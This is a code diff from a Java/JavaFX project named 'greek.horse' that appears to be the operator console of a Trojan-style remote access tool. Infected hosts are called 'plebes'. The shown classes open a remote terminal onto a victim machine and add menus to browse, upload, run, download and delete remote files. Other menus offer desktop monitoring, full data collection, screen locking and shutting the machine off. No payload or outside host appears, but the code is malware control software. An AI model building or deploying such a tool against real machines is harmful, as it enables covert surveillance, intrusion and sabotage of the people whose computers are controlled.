private final AtomicBoolean running = new AtomicBoolean(false); |
|||
private static final Logger log = Logger.getLogger(TerminalTask.class); |
|||
|
|||
public TerminalTask(TroyPlebe tp) { |
|||
this.plebe = tp; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
AtomicBoolean start = new AtomicBoolean(false); |
|||
|
|||
Platform.runLater(() -> { |
|||
try { |
|||
Stage stage = new Stage(); |
|||
stage.setTitle("Terminal - " + plebe.getTitle()); |
|||
stage.getIcons().add(ChatApp.appIcon); |
|||
|
|||
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/terminal.fxml")); |
|||
Parent root = loader.load(); |
|||
|
|||
stage.setOnCloseRequest(e -> this.running.set(false)); |
|||
|
|||
Scene scene = new Scene(root); |
|||
stage.setScene(scene); |
|||
|
|||
controller = loader.getController(); |
|||
controller.setPlebe(plebe); |
|||
controller.setStage(stage); |
|||
|
|||
stage.show(); |
|||
|
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} finally { |
|||
start.set(true); |
|||
} |
|||
}); |
|||
|
|||
while (!start.get()) { |
|||
try { |
|||
Thread.sleep(100); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
warnPlatformDependency(); |
|||
controller.begin(); |
|||
|
|||
RecurrentTroyRequest request = (RecurrentTroyRequest) this.plebe.startTerminal(); |
|||
|
|||
request.getObservableReceivedObjs().addListener((ListChangeListener<? super Object>) listener -> { |
|||
listener.next(); |
|||
|
|||
for (Object obj : listener.getAddedSubList()) { |
|||
String line = (String) obj; |
|||
controller.addTextLine(line); |
|||
} |
|||
|
|||
}); |
|||
|
|||
while (plebe.getRunning().get() && this.running.get()) { |
|||
try { |
|||
Thread.sleep(200); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
if (!request.getReleased().get()) { |
|||
this.plebe.releaseRequest(request); |
|||
} |
|||
|
|||
Platform.runLater(() -> { |
|||
controller.getStage().hide(); |
|||
}); |
|||
} |
|||
|
|||
private void warnPlatformDependency() { |
|||
try { |
|||
NetInfo netInfo = (NetInfo) this.plebe.getNetInfo().getReceivedObj(); |
|||
OS os = netInfo.getOs(); |
|||
// if (os.equals(OS.WINDOWS) || os.equals(OS.UNIX)) { |
|||
// return; |
|||
// } |
|||
Platform.runLater(() -> { |
|||
Alert alert = new Alert(Alert.AlertType.WARNING); |
|||
alert.setTitle("Warning"); |
|||
alert.initOwner(controller.getStage()); |
|||
alert.initModality(Modality.APPLICATION_MODAL); |
|||
|
|||
alert.setHeaderText("Platform dependency"); |
|||
alert.setContentText("Only Windows and UNIX systems were tested. Be aware: this Plebe is running '" + os + "'."); |
|||
alert.showAndWait(); |
|||
}); |
|||
} catch (Exception e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
} |
@ -0,0 +1,81 @@ |
|||
package greek.horse.server.ui.formmaters; |
|||
|
|||
import greek.horse.models.TableFile; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.FileBrowserController; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.scene.control.ContextMenu; |
|||
import javafx.scene.control.MenuItem; |
|||
import javafx.scene.control.TableRow; |
|||
import javafx.scene.control.TableView; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.scene.input.MouseButton; |
|||
import javafx.util.Callback; |
|||
|
|||
public class FileRowsFactory implements Callback<TableView<TableFile>, TableRow<TableFile>> { |
|||
private final FileBrowserController controller; |
|||
private final boolean drives; |
|||
|
|||
public FileRowsFactory(FileBrowserController controller, boolean drives) { |
|||
this.controller = controller; |
|||
this.drives = drives; |
|||
} |
|||
|
|||
@Override |
|||
public TableRow<TableFile> call(TableView<TableFile> drivesTable) { |
|||
TableRow<TableFile> row = new TableRow<>(); |
|||
|
|||
row.setOnMouseClicked(e -> { |
|||
if (e.getButton().equals(MouseButton.PRIMARY) && e.getClickCount() > 1) { |
|||
this.controller.loadFolderFromRow(row); |
|||
} |
|||
}); |
|||
|
|||
if (!drives) { |
|||
ContextMenu contextMenu = new ContextMenu(); |
|||
MenuItem refresh = new MenuItem("Refresh", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("refresh", 0.25), null))); |
|||
MenuItem upload = new MenuItem("Upload", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("upload", 0.25), null))); |
|||
MenuItem run = new MenuItem("Run", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("run", 0.25), null))); |
|||
MenuItem delete = new MenuItem("Delete", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("delete", 0.25), null))); |
|||
MenuItem download = new MenuItem("Download", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("download", 0.25), null))); |
|||
MenuItem open = new MenuItem("Open", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("open", 0.25), null))); |
|||
|
|||
refresh.setOnAction((event) -> { |
|||
this.controller.loadFromTextField(); |
|||
}); |
|||
|
|||
run.setOnAction((event -> { |
|||
this.controller.runFromRow(row); |
|||
})); |
|||
|
|||
upload.setOnAction(event -> { |
|||
this.controller.uploadFromRow(row); |
|||
}); |
|||
|
|||
delete.setOnAction(event -> { |
|||
this.controller.deleteFromRow(row); |
|||
}); |
|||
|
|||
download.setOnAction(event -> { |
|||
this.controller.downloadFromRow(row); |
|||
}); |
|||
|
|||
open.setOnAction(event -> { |
|||
this.controller.openFromRow(row); |
|||
}); |
|||
// menuItem2.setOnAction((event) -> { |
|||
// this.controller.contextDisconnect(row); |
|||
// }); |
|||
// |
|||
// run.setOnAction((event) -> { |
|||
// this.controller.contextFilesBrowser(row); |
|||
// }); |
|||
|
|||
contextMenu.getItems().addAll(refresh, run, open, upload, download, delete); |
|||
|
|||
row.setContextMenu(contextMenu); |
|||
} |
|||
|
|||
return row; |
|||
} |
|||
} |
@ -0,0 +1,52 @@ |
|||
package greek.horse.server.ui.formmaters; |
|||
|
|||
import javafx.geometry.Pos; |
|||
import javafx.scene.Node; |
|||
import javafx.scene.control.TableCell; |
|||
import javafx.scene.control.TableColumn; |
|||
import javafx.scene.text.TextAlignment; |
|||
import javafx.util.Callback; |
|||
|
|||
public class FormattedTableCellFactory<S, T> implements Callback<TableColumn<S, T>, TableCell<S, T>> { |
|||
|
|||
private final TextAlignment textAlignment; |
|||
|
|||
public FormattedTableCellFactory(TextAlignment textAlignment) { |
|||
this.textAlignment = textAlignment; |
|||
} |
|||
|
|||
public FormattedTableCellFactory() { |
|||
textAlignment = TextAlignment.CENTER; |
|||
} |
|||
|
|||
@Override |
|||
@SuppressWarnings("unchecked") |
|||
public TableCell<S, T> call(TableColumn<S, T> p) { |
|||
TableCell<S, T> cell = new TableCell<S, T>() { |
|||
|
|||
@Override |
|||
public void updateItem(Object item, boolean empty) { |
|||
if (item == getItem()) { |
|||
return; |
|||
} |
|||
super.updateItem((T) item, empty); |
|||
if (item == null) { |
|||
super.setText(null); |
|||
super.setGraphic(null); |
|||
} else if (item instanceof Node) { |
|||
super.setText(null); |
|||
super.setGraphic((Node) item); |
|||
} else { |
|||
super.setText((String) item); |
|||
super.setGraphic(null); |
|||
} |
|||
} |
|||
}; |
|||
cell.setTextAlignment(this.textAlignment); |
|||
cell.setAlignment(this.textAlignment.equals(TextAlignment.CENTER)?Pos.CENTER:Pos.CENTER_LEFT); |
|||
|
|||
return cell; |
|||
} |
|||
|
|||
|
|||
} |
@ -0,0 +1,88 @@ |
|||
package greek.horse.server.ui.formmaters; |
|||
|
|||
import greek.horse.server.troyStructure.NetInfoTable; |
|||
import greek.horse.server.ui.ChatApp; |
|||
import greek.horse.server.ui.controllers.HorseController; |
|||
import javafx.embed.swing.SwingFXUtils; |
|||
import javafx.geometry.Insets; |
|||
import javafx.scene.control.*; |
|||
import javafx.scene.image.ImageView; |
|||
import javafx.util.Callback; |
|||
|
|||
public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableRow<NetInfoTable>> { |
|||
private final HorseController controller; |
|||
|
|||
public HorseRowFactory(HorseController horseController) { |
|||
controller = horseController; |
|||
} |
|||
|
|||
@Override |
|||
public TableRow<NetInfoTable> call(TableView tableView) { |
|||
TableRow<NetInfoTable> row = new TableRow<>(); |
|||
|
|||
ContextMenu contextMenu = new ContextMenu(); |
|||
|
|||
MenuItem desktop = new MenuItem("Desktop", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("desktopMonitor", 0.07), null))); |
|||
MenuItem browseFiles = new MenuItem("Browse files", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("fileBrowser", 0.07), null))); |
|||
MenuItem terminal = new MenuItem("Terminal", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("terminal", 0.07), null))); |
|||
MenuItem data = new MenuItem("Full data", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("data", 0.07), null))); |
|||
Menu monitoring = new Menu("Monitoring", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("monitoring", 0.07), null))); |
|||
monitoring.getItems().addAll(desktop, browseFiles, terminal, data); |
|||
|
|||
|
|||
MenuItem chat = new MenuItem("Chat", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("chat", 0.07), null))); |
|||
MenuItem off = new MenuItem("Turn Off", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("off", 0.07), null))); |
|||
CheckMenuItem lock = new CheckMenuItem("Lock", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("lock", 0.07), null))); |
|||
Menu interaction = new Menu("Interaction", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("communication", 0.07), null))); |
|||
interaction.getItems().addAll(chat, lock, off); |
|||
|
|||
|
|||
MenuItem disconnect = new MenuItem("Disconnect", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("disconnect", 0.07), null))); |
|||
MenuItem stop = new MenuItem("Stop",new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null))); |
|||
Menu manageClient = new Menu("Manage Client", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("client", 0.07), null))); |
|||
manageClient.getItems().addAll(disconnect, stop); |
|||
|
|||
desktop.setOnAction((event) -> { |
|||
this.controller.contextDesktop(row); |
|||
}); |
|||
|
|||
disconnect.setOnAction((event) -> { |
|||
this.controller.contextDisconnect(row); |
|||
}); |
|||
|
|||
browseFiles.setOnAction((event) -> { |
|||
this.controller.contextFilesBrowser(row); |
|||
}); |
|||
|
|||
lock.setOnAction(event -> { |
|||
this.controller.contextLock(row, lock.isSelected()); |
|||
}); |
|||
|
|||
stop.setOnAction(event -> { |
|||
this.controller.contextStop(row); |
|||
}); |
|||
|
|||
chat.setOnAction(event ->{ |
|||
this.controller.contextChat(row); |
|||
}); |
|||
|
|||
terminal.setOnAction(event -> { |
|||
this.controller.contextTerminal(row); |
|||
}); |
|||
|
|||
off.setOnAction(event -> { |
|||
this.controller.contextOff(row); |
|||
}); |
|||
|
|||
data.setOnAction(event -> { |
|||
this.controller.contextFullData(row); |
|||
}); |
|||
|
|||
contextMenu.getItems().addAll(monitoring, interaction, manageClient); |
|||
|
|||
row.setContextMenu(contextMenu); |
|||
row.setOpaqueInsets(new Insets(5)); |
|||
|
|||
return row; |
|||
} |
|||
} |
@ -0,0 +1,31 @@ |
|||
package greek.horse.test; |
|||
|
|||
import javax.swing.*; |
|||
import java.awt.*; |
|||
|
|||
public class Test { |
|||
|
|||
public static void main(String[] args) throws Exception { |
|||
int w = 0, h = 0, x = 0, y = 0; |
|||
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) { |
|||
Rectangle bounds = device.getDefaultConfiguration().getBounds(); |
|||
System.out.println(bounds); |
|||
w += bounds.getWidth(); |
|||
w += Math.abs(bounds.getX()); |
|||
h += bounds.getHeight(); |
|||
h += Math.abs(bounds.getY()); |
|||
x = x > bounds.getX() ? x : (int) bounds.getX(); |
|||
y = y < bounds.getY() ? y : (int) bounds.getY(); |
|||
} |
|||
System.out.println(); |
|||
System.out.println(new Rectangle(0, 0, 10000, 10000)); |
|||
|
|||
JFrame frame = new JFrame(); |
|||
frame.setSize(new Dimension((int) w, (int) h)); |
|||
frame.setLocation(0, 0); |
|||
frame.setUndecorated(false); |
|||
frame.setVisible(true); |
|||
|
|||
} |
|||
|
|||
} |
@ -0,0 +1,2 @@ |
|||
localhost |
|||
1234 |
After Width: 256 | Height: 256 | Size: 18 KiB |
After Width: 256 | Height: 256 | Size: 25 KiB |
After Width: 256 | Height: 256 | Size: 18 KiB |
After Width: 256 | Height: 256 | Size: 26 KiB |
After Width: 256 | Height: 256 | Size: 18 KiB |
After Width: 256 | Height: 256 | Size: 15 KiB |
After Width: 256 | Height: 256 | Size: 12 KiB |
After Width: 256 | Height: 256 | Size: 44 KiB |
After Width: 256 | Height: 256 | Size: 44 KiB |
After Width: 256 | Height: 256 | Size: 43 KiB |
After Width: 256 | Height: 256 | Size: 44 KiB |
After Width: 256 | Height: 256 | Size: 44 KiB |
After Width: 256 | Height: 256 | Size: 44 KiB |
After Width: 256 | Height: 256 | Size: 40 KiB |
After Width: 256 | Height: 256 | Size: 40 KiB |
After Width: 256 | Height: 256 | Size: 46 KiB |
After Width: 256 | Height: 256 | Size: 14 KiB |
After Width: 256 | Height: 256 | Size: 16 KiB |
After Width: 256 | Height: 256 | Size: 23 KiB |
After Width: 256 | Height: 256 | Size: 19 KiB |
After Width: 256 | Height: 256 | Size: 18 KiB |
After Width: 256 | Height: 256 | Size: 32 KiB |
After Width: 256 | Height: 256 | Size: 28 KiB |
After Width: 256 | Height: 256 | Size: 40 KiB |
After Width: 256 | Height: 256 | Size: 40 KiB |
After Width: 256 | Height: 256 | Size: 41 KiB |
After Width: 256 | Height: 256 | Size: 40 KiB |
After Width: 256 | Height: 256 | Size: 15 KiB |
After Width: 256 | Height: 256 | Size: 17 KiB |